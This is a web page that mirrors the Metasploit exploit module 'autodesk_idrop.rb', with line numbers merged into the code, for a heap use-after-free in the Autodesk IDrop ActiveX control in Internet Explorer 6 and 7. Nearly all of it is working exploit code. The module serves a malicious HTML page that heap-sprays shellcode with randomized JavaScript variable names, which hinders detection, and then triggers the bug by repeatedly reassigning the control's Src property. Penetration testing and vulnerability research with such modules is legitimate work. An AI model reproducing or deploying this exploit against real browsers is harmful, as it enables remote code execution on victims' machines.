Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/autodesk_idrop.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(update_info(info,12'Name' => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',13'Description' => %q{14This module exploits a heap-based memory corruption vulnerability in15Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.16An attacker can execute arbitrary code by triggering a heap use after17free condition using the Src, Background, PackageXml properties.18},19'License' => MSF_LICENSE,20'Author' =>21[22'Elazar Broad <elazarb[at]earthlink.net>', # Original exploit [see References]23'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation24],25'References' =>26[27[ 'OSVDB', '53265' ],28[ 'BID', '34352' ],29[ 'EDB', '8560' ],30[ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],31],32'DefaultOptions' =>33{34'EXITFUNC' => 'process',35},36'Payload' =>37{38'Space' => 1024,39'BadChars' => "\x00\x09\x0a\x0d'\\",40'StackAdjustment' => -3500,41},42'Platform' => 'win',43'Targets' =>44[45[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]46],47'DisclosureDate' => '2009-04-02',48'DefaultTarget' => 0))49end5051def autofilter52false53end5455def check_dependencies56use_zlib57end5859def on_request_uri(cli, request)60# Re-generate the payload61return if ((p = regenerate_payload(cli)) == nil)6263# Encode the shellcode64shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6566# Setup exploit buffers67nops = Rex::Text.to_unescape([target.ret].pack('V'))68blocksize = 0x4000069fillto = 55070offset = target['Offset']7172# Randomize the javascript variable names73idrop = rand_text_alpha(rand(100) + 1)74j_function = rand_text_alpha(rand(100) + 1)75j_shellcode = rand_text_alpha(rand(100) + 1)76j_nops = rand_text_alpha(rand(100) + 1)77j_headersize = rand_text_alpha(rand(100) + 1)78j_slackspace = rand_text_alpha(rand(100) + 1)79j_fillblock = rand_text_alpha(rand(100) + 1)80j_block = rand_text_alpha(rand(100) + 1)81j_memory = rand_text_alpha(rand(100) + 1)82j_counter = rand_text_alpha(rand(30) + 2)83j_ret = rand_text_alpha(rand(100) + 1)84j_mem = rand_text_alpha(rand(100) + 1)8586# Build out the message87content = %Q|88<html>89<head>90<script language='javascript' defer>91function #{j_function}() {92#{j_shellcode}=unescape('#{shellcode}');93#{j_nops}=unescape('#{nops}');94#{j_headersize}=20;95#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;96while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};97#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});98#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});99while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};100#{j_memory}=new Array();101for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};102103var #{j_ret} = '';104for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {105#{j_ret} += unescape('%u0a0a');106}107for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {108try {109var #{j_mem} = #{idrop}.Src;110#{idrop}.Src = 'http://' + #{j_ret};111#{idrop}.Src = #{j_mem};112#{idrop}.Src = 'http://' + #{j_ret};113} catch(e){}114115}116}117</script>118</head>119<body onload='return #{j_function}();'>120<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>121</body>122</html>123|124125print_status("Sending #{self.name}")126127# Transmit the response to the client128send_response_html(cli, content)129130# Handle the payload131handler(cli)132end133end134135136